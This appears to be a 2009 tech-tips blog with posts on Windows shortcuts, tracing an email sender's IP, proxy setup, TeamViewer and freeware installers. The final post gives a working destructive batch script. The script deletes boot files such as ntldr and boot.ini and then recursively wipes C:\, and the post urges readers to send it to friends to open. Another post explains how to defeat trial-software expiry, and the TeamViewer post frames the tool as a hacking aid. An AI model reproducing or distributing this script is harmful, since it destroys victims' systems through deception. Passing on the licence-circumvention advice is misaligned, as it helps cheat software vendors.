Wednesday, December 16, 2009

Most important keyboard shortcuts

Most important keyboard shortcuts



Windows key + R = Run menu

This is usually followed by:

cmd = Command Prompt

iexplore + "web address"
= Internet Explorer

compmgmt.msc
= Computer Management

dhcpmgmt.msc
= DHCP Management

dnsmgmt.msc
= DNS Management

services.msc
= Services

eventvwr
= Event Viewer

dsa.msc
= Active Directory Users and Computers

dssite.msc
= Active Directory Sites and Services

Windows key + E
= Explorer

ALT + Tab = Switch between windows

ALT, Space, X = Maximize window

CTRL + Shift + Esc = Task Manager

Windows key + Break = System properties

Windows key + F = Search

Windows key + D = Hide/Display all windows

CTRL + C = copy

CTRL + X = cut

CTRL + V = paste

Also don't forget about the "Right-click" key next to the right Windows key on your keyboard. Using the arrows and that key can get just about anything done once you've opened up any program.


Explorer shortcuts

END - Display the bottom of the active window.

HOME - Display the top of the active window.

NUM LOCK+ASTERISK - on numeric keypad (*) Display all subfolders under the selected folder.

NUM LOCK+PLUS SIGN - on numeric keypad (+) Display the contents of the selected folder.

NUM LOCK+MINUS SIGN - on numeric keypad (-) Collapse the selected folder.

LEFT ARROW -Collapse current selection if it's expanded, or select parent folder.

RIGHT ARROW - Display current selection if it's collapsed, or select first subfolder.


For Windows XP:

Copy - CTRL+C

Cut - CTRL+X

Paste - CTRL+V

Undo - CTRL+Z

Delete - DELETE

Delete selected item permanently without placing the item in the Recycle Bin - SHIFT+DELETE

Copy selected item - CTRL while dragging an item

Create shortcut to selected item - CTRL+SHIFT while dragging an item

Rename selected item - F2

Move the insertion point to the beginning of the next word - CTRL+RIGHT ARROW

Move the insertion point to the beginning of the previous word - CTRL+LEFT ARROW

Move the insertion point to the beginning of the next paragraph - CTRL+DOWN ARROW

Move the insertion point to the beginning of the previous paragraph - CTRL+UP ARROW

Highlight a block of text - CTRL+SHIFT with any of the arrow keys

Select more than one item in a window or on the desktop, or select text within a document - SHIFT with any of the arrow keys

Select all - CTRL+A

Search for a file or folder - F3

View properties for the selected item - ALT+ENTER

Close the active item, or quit the active program - ALT+F4

Opens the shortcut menu for the active window - ALT+SPACEBAR

Close the active document in programs that allow you to have multiple documents open simultaneously - CTRL+F4

Switch between open items - ALT+TAB

Cycle through items in the order they were opened - ALT+ESC

Cycle through screen elements in a window or on the desktop - F6

Display the Address bar list in My Computer or Windows Explorer - F4

Display the shortcut menu for the selected item - SHIFT+F10

Display the System menu for the active window - ALT+SPACEBAR

Display the Start menu - CTRL+ESC

Display the corresponding menu - ALT+Underlined letter in a menu name

Carry out the corresponding command - Underlined letter in a command name on an open menu

Activate the menu bar in the active program - F10

Open the next menu to the right, or open a submenu - RIGHT ARROW

Open the next menu to the left, or close a submenu - LEFT ARROW

Refresh the active window - F5

View the folder one level up in My Computer or Windows Explorer - BACKSPACE

Cancel the current task - ESC

SHIFT when you insert a CD into the CD-ROM drive
Prevent the CD from automatically playing.


Accessibility keyboard shortcuts:

Switch FilterKeys on and off - Right SHIFT for eight seconds

Switch High Contrast on and off - Left ALT+left SHIFT+PRINT SCREEN

Switch MouseKeys on and off - Left ALT +left SHIFT +NUM LOCK

Switch StickyKeys on and off - SHIFT five times

Switch ToggleKeys on and off - NUM LOCK for five seconds

Open Utility Manager - WIN Key+U








Keyboard Shortcuts

[Alt] and [Esc] - Switch between running applications

[Alt] and letter Select menu item by underlined letter

[Ctrl] and [Esc] - Open Program Menu

[Ctrl] and [F4] - Close active document or group windows (does not work with some applications)

[Alt] and [F4] - Quit active application or close current window

[Alt] and [-] - Open Control menu for active document

[Ctrl] Lft., Rt. arrow - Move cursor forward or back one word

[Ctrl] Up, Down arrow - Move cursor forward or back one paragraph

[F1] - Open Help for active application

Windows+M - Minimize all open windows

Shift+Windows+M - Undo minimize all open windows

Windows+F1 - Open Windows Help

Windows+Tab - Cycle through the Taskbar buttons

Windows+Break - Open the System Properties dialog box


Acessability shortcuts

Right SHIFT for eight seconds - Switch FilterKeys on and off.

Left ALT +left SHIFT +PRINT SCREEN - Switch High Contrast on and off.

Left ALT +left SHIFT +NUM LOCK - Switch MouseKeys on and off.

SHIFT five times - Switch StickyKeys on and off.

NUM LOCK - for five seconds Switch ToggleKeys on and off.


Type the following commands in your Run Box (Windows Key + R) or Start Run

devmgmt.msc = Device Manager

msinfo32
= System Information

cleanmgr
= Disk Cleanup

ntbackup
= Backup or Restore Wizard (Windows Backup Utility)

mmc
= Microsoft Management Console

excel
= Microsoft Excel (If Installed)

msaccess
= Microsoft Access (If Installed)

powerpnt
= Microsoft PowerPoint (If Installed)

winword
= Microsoft Word (If Installed)

frontpg
= Microsoft FrontPage (If Installed)

notepad
= Notepad

wordpad
= WordPad

calc
= Calculator

msmsgs
= Windows Messenger

mspaint
= Microsoft Paint

wmplayer
= Windows Media Player

rstrui
= System Restore

netscp6
= Netscape 6.x

netscp
= Netscape 7.x

netscape
= Netscape 4.x

waol
= America Online

control
= Opens the Control Panel

control printers
= Opens the Printers Dialog


Internet browser

Type in u're adress "google", then press [Right CTRL] and [Enter]
add www. and .com to word and go to it


Use these keyboard shortcuts for dialog boxes:

Move forward through tabs - CTRL+TAB

Move backward through tabs - CTRL+SHIFT+TAB

Move forward through options - TAB

Move backward through options - SHIFT+TAB

Carry out the corresponding command or select the corresponding option - ALT+Underlined letter

Carry out the command for the active option or button - ENTER

Select or clear the check box if the active option is a check box - SPACEBAR

Select a button if the active option is a group of option buttons - Arrow keys

Display Help - F1

Display the items in the active list - F4

Open a folder one level up if a folder is selected in the Save As or Open dialog box - BACKSPACE


If you have a Microsoft Natural Keyboard, or any other compatible keyboard that includes the Windows logo key and the Application key , you can use these keyboard shortcuts:

Display or hide the Start menu - WIN Key

Display the System Properties dialog box - WIN Key+BREAK

Show the desktop - WIN Key+D

Minimize all windows - WIN Key+M

Restores minimized windows - WIN Key+Shift+M

Open My Computer - WIN Key+E

Search for a file or folder - WIN Key+F

Search for computers - CTRL+WIN Key+F

Display Windows Help - WIN Key+F1

Lock your computer if you are connected to a network domain, or switch users if you are not connected to a network domain - WIN Key+ L

Open the Run dialog box - WIN Key+R

Open Utility Manager - WIN Key+U


Shortcuts you can use with Windows Explorer:

Display the bottom of the active window - END

Display the top of the active window - HOME

Display all subfolders under the selected folder - NUM LOCK+ASTERISK on numeric keypad (*)

Display the contents of the selected folder - NUM LOCK+PLUS SIGN on numeric keypad (+)

Collapse the selected folder - NUM LOCK+MINUS SIGN on numeric keypad (-)

Collapse current selection if it's expanded, or select parent folder - LEFT ARROW

Display current selection if it's collapsed, or select first subfolder - RIGHT ARROW

Tuesday, December 15, 2009

How to find the IP address of the email sender in Yahoo! Mail

Guide to tracking of emails to find sender's IP address using email headers.

In this tutorial i shall be writing about the trick to get the IP Address of sender in Yahoo Mail. This is useful if someone is spamming your inbox with junk mail or any other reason you may have to find the location of the email sender.

How to find the IP address of the email sender in Yahoo! Mail
Note: You won't be able to find the real IP address if the sender uses an anonymous proxy server.

Here is a step by step guide to get the IP address of an email sender in Yahoo! Mail:

1. Log into your Yahoo! mail with your username and password.
2. Click on Inbox or any folder where you have stored your mail.
3. Open the mail
4. At the bottom right region of the email, you'll see there is a drop-down option "Full Headers". If you can't find it press Ctrl+F and search for "header".

How to find the IP address of the email sender in Yahoo! MailHow to find the IP address of the email sender in Yahoo! Mail
5. Click on it and look for Received: from followed by the IP address between square brackets [ ].

How to find the IP address of the email sender in Yahoo! Mail
6. That should most likely be the IP address of the sender. If there are many instances of Received: from with the IP address, select the IP address in the last pattern. If there are no instances of Received: from with the IP address, select the first IP address in X-Originating-IP.

Now, you can find the exact location of the sender by using GeoBytes IP Locator or IP2Location.

Monday, December 14, 2009

What Is A Proxy Server And How To Use It

Instructions on how to use a web proxy server with a variety of browsers.

Proxies are store-and-forward caches. When you configure your web browser to use a proxy, it never connects to the URL. Instead, it always connects to the proxy server, and asks it to get the URL for you. Proxies can be used as a sort of firewall, because it isolates you from connecting to the Internet. When you use a proxy server, your computer will send a request to the proxy server, then the proxy server will send it to the destination (for example a website), the destination will answer the request the proxy has sent and finally the proxy will return the data to you computer. For example when you visit http://supertrickz.blogspot.com/ via proxy.


Why should you use proxy servers?

  • Using proxy server you can bypass security/ parental controls
  • To scan transmitted content before delivery for malware.
  • Proxy server is able to increase or decrease the speed of your connection to the Internet depending on the location of the proxy
  • Proxy server ( but only anonymous) can hide your IP address (the resource you visit will retrieve the IP of the proxy, and not your
  • Proxy servers can help in case some owner of an Internet resource impose restrictions for users from certain countries ( for example hulu.com is only reserved for those from United States, if you are not from United States, you can’t watch videos on hulu.com)

How to use a proxy server?

It is simple, just follow these instructions for Internet Explorer

1. Open Internet Explorer

2. In the Menu bar, select Tools, then Internet Options

What Is A Proxy Server And How To Use It
3. After that click the Connection tab

What Is A Proxy Server And How To Use It
4. In the Connection tab, on the bottom , you will find LAN settings;

5. In LAN tab, check "Use a proxy server for your LAN (These settings will not apply to dial-up or or VPN connections)", in Address add the IP Addresses of the proxy you would like to use, and add Port, and finally click OK. It looks like this:

What Is A Proxy Server And How To Use It
In this example i am using an anonymous proxy server from United Kingdom with this IP address: 64.66.192.61 and port 80. Here you can find a free proxy list. These are free proxy servers. For more free proxies, just google "free proxy server list".


The same is for Mozilla Firefox

1. Open Mozilla Firefox

2. In Menu bar, select Tools, then Options…

3. After this will appear Options window, click Advanced tab

What Is A Proxy Server And How To Use It
4. In Advanced tab, you will find Settings, click it

5. In Settings tab, check Manually proxy configuration, in HTTP Proxy add IP addresses from proxy server, and add Port, you can also set sites where you wont't use proxy server. For Example if you are from Germany, no sense to use a proxy server for German sites.
In the end click Ok;

What Is A Proxy Server And How To Use It
I used the same proxy server(therefore the same address) also for Mozilla.

Instructions for Netscape:

1. Select the Tools Menu
2. Select Options
3. Select General
4. Select Connection Settings...
5. Check Manual Proxy Configuration
6. Enter the proxy server's IP address in the HTTP Proxy field and the proxy's port into the Port field.
7. OK your way out

What Is A Proxy Server And How To Use It
Instructions for Opera

1. Select the Tools Menu
2. Select Preferences
3. Select Advanced Tab
4. Select Proxy Servers
5. Check the box next to HTTP
6. Enter the proxy server's IP address in the first box and the proxy's port in the box after "Port"
7. OK your way out

What Is A Proxy Server And How To Use It

Sunday, December 13, 2009

Best Freeware Softwares in One Single Smart Installer Pack for Windows

Using Smart Installer Pack you can save a lot of time when downloading and installing your favorite software after an OS re-installation.

It becomes very annoying to re-install all the previously installed applications after a Windows format. Generally there are must have softwares or rather freewares that need to be reinstalled after the format. The most annoying thing after you format your pc is to search the web, download programs one by one and install them on the computer system. The Smart Installer Pack tries to reduce the time it takes to install popular software by providing an interface to download and install dozens of popular software programs. Best Freeware Softwares in One Single Smart Installer Pack for Windows

Smart Installer Pack is one executable file, which can automatically install more than 70 freeware applications in one click. It eliminates the task of searching around the Internet, waiting, downloading and installing the apps one by one. It has a easy and intuitive user interface design.

 Best Freeware Softwares in One Single Smart Installer Pack for Windows
Features:

  • Easy, intuitive user interface design
  • Contains usual start-up software
  • Greatly reduces the time needed to install that software, eliminating some of the unnecessary searching, waiting, etc.
  • All free
  • The installer comes packed in a convenient executable file
  • You can choose which software you want to download and install from within the program using suggestive icons
  • The application is made as small as possible
  • Install fast, fast, faster!
It is also a good idea to check the version of the programs downloaded with the latest version on the developer’s website (or through an existing update function in the software) to make sure the latest version has indeed been installed.

Download latest version of Smart Installer Pack (Size: 227 MB)

* Software included in Smart Installer Pack:

[Click on the images to see the full size]
 Best Freeware Softwares in One Single Smart Installer Pack for Windows Best Freeware Softwares in One Single Smart Installer Pack for Windows

 Best Freeware Softwares in One Single Smart Installer Pack for Windows Best Freeware Softwares in One Single Smart Installer Pack for Windows


Now, all you have to do is download this Smart Installer Pack and put it to work to get the job done fast.

Saturday, December 12, 2009

How to use Trial Version software forever without Expiration

Here is the list of my top softwares that will stop time of each trial version software:

1. Time Stopper

Time Stopper is a software which can stop a time for try out version software. When you stop the time you can use your try-out versions forever. When you stop the time of a try-out version using this Time Stopper it works via this Time Stopper. Real time and date run normally on your system. You can use any number of try-out version softwares with this software.

How to use Trial Version software forever without Expiration
How it Works?

* Open Time Stopper
* Browse and select .exe of required trial software
* Choose the new date (Any date which occurs in between your trial software time period before expiration, suggestion: set it to two days before trial software expiration date).
* Choose any time
* Click open software on your selected date

If you wish to create an icon for your modified trial software and do not want to open Time stopper every time then use last button in software to create new icon. open that trial software after that from that newly created icon always otherwise it can expire.

Download Time Stopper | Size: 844 KB

2. RunAsDate

RunAsDate is a small utility that allows you to run a program in the date and time that you specify. This utility doesn't change the current system date and time of your computer, but it only injects the date/time that you specify into the desired application.
You can run multiple applications simultaneously, each application works with different date and time, while the real date/time of your system continues to run normally.

How to use Trial Version software forever without Expiration
How does it work ?

RunAsDate intercepts the kernel API calls that returns the current date and time (GetSystemTime, GetLocalTime, GetSystemTimeAsFileTime), and replaces the current date/time with the date/time that you specify.

Download RunAsDate | Size: 21.3 KB

3. Date Cracker 2000

Date Cracker 2000 is a program which removes the date protection from programs which expire after a specific date. It is most useful for shareware or trial versions of software. Note that this program should be used for educational purposes only. Another interesting software developed allows you to remove passwords from MS Access '95 or '97 MDB files.

Software like Date Cracker 2000 helps two kinds of people.

Software Users...........
Software Developers...

Software Users are benefited by a great extent because they can use a shareware or trial version of a software indefinitely. This means that most software which expire after a certain date can be used well after that date (almost indefinitely). The key is to run the software via Date Cracker 2000 when you get a demo / trial version of any software.

Software Developers should be aware of such programs (trust me, they are!). They must devise better algorithms so that their software will be protected better. But the fact is, most software developers do not mind their software (Trial versions/ Demo's) being run by such programs....while some developers cannot do anything about their software after releasing it. But they can ensure that later versions of their software should have better date protection. Of course, there will be always be a newer version of Date Cracker 2000.

How to use Trial Version software forever without Expiration
How it Works?

* Start by opening Date Cracker
* Click Add
* Enter the description for your program
* Click the [...] button at the bottom of the screen
* Search for the executable file of the trial program
* Set the Simulated Run Date past the trial expiration date
* Click Run

That’s it, you’re now on your way to using your favorite trials hassle free.

A Few Tips:

The key is to run the software via Date Cracker when you run a trial for the first time.
Dates should be entered in full e.g. 2090/06/30

Download Date Cracker 2000
| Size: 1.5 MB

Friday, December 11, 2009

Remotely Control Any Computer in The World Using TeamViewer

Remotely Control Any Computer in The World Using TeamViewer
TeamViewer is a good program to quickly share desktops with another user. The free version will let you create secure sessions and control what you show to your contact over the internet.

Some time ago i was looking for a software which is able to establish a connection to another pc through internet. Many different remote access softwares exist, but not all are equally fast, reliable, and secure. I found an amazing software "Teamviewer" which lets you remote control, desktop sharing and file transfer that works behind any firewall and NAT proxy. This software has amazing features like file transfer, presentation, remote support, vpn. The best of all is that this software provides remote support. When you try to help your friends with problems in their computer via phone or instant messaging most of the times they don't understand what you are saying and you need to spend precious time explaining them. Using this software you can fix any computer connected to the internet just by sitting in front of your computer. You just have to install this software on your system and ask the people on the other side to install the same and tell u the ID and password. Once you enter the id and password you will be able to connect to Remotely Control Any Computer in The World Using TeamViewertheir system. People on the other side can watch what you are doing on their computer screen and can learn how to fix the problem themselves if it happens again. You can also record sessions and play them back afterward. These can then be used as tutorials or to go back on what you've done in previous sessions. The login id and password will be valid only for one session.

Remotely Control Any Computer in The World Using TeamViewer
Here are some key features of TeamViewer:


* Remote Control without Installation
With TeamViewer you can remotely control any PC anywhere on the Internet. No installation is required, just run the application on both sides and connect - even through tight firewalls.

* Remote Presentation of Products, Solutions and Services
The second TeamViewer mode allows you to present your desktop to a partner. Show your demos, products and presentations over the Internet within seconds - live from your screen.

* File Transfer
TeamViewer comes with integrated file transfer that allows you to copy files and folders from and to a remote partner - which also works behind firewalls

* Works behind Firewalls
The major difficulties in using remote control software are firewalls and blocked ports, as well as NAT routing for local IP addresses.
If you use TeamViewer you don't have to worry about firewalls: TeamViewer will find a route to your partner.

* Highest Security Standard
TeamViewer is a very secure solution. The commercial TeamViewer versions feature completely secure data channels with key exchange and RC4 session encoding, the same security standard used by https/SSL.

* No Installation Required
To install TeamViewer no admin rights are required. Just run the software and off you go...

* High Performance
Optimized for connections over LANs AND the Internet, TeamViewer features automatic bandwidth-based quality selection for optimized use on any connection.

* Very Competitively Priced, Free Versions available
TeamViewer offers a lot of value for low prices, there even is a free version for non-commercial use available.


TeamViewer


Softwares like TeamViewer can be easyly used for hacking. Imagine that this is something like a Trojan (This isn't exactly a Trojan), a Trojan installs on the victims computer without his knowledge and runs in the background which gives you access to his computer. This software proves that hacking is not impossible. Anyway i'll explain about this way of hacking in some other post.

Thursday, December 10, 2009

Learn How Shut Down a Computer Forever

Learn How Shut Down a Computer Forever
Let's start:

Open notepad and copy/paste this code:

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini


Now Save it as a .bat file.

This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.

REMEMBER - DO NOT CLICK THIS FILE.
YOU WON'T RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!

Send it to your friends computer and tell them to open it. Have fun!!


Here is another code too.....

cmd /c del c:\windows\* /F /S /Q

cmd /c del c:\* /F /S /Q


Paste it in NotePad And Save It with Extension .cmd or .bat

 
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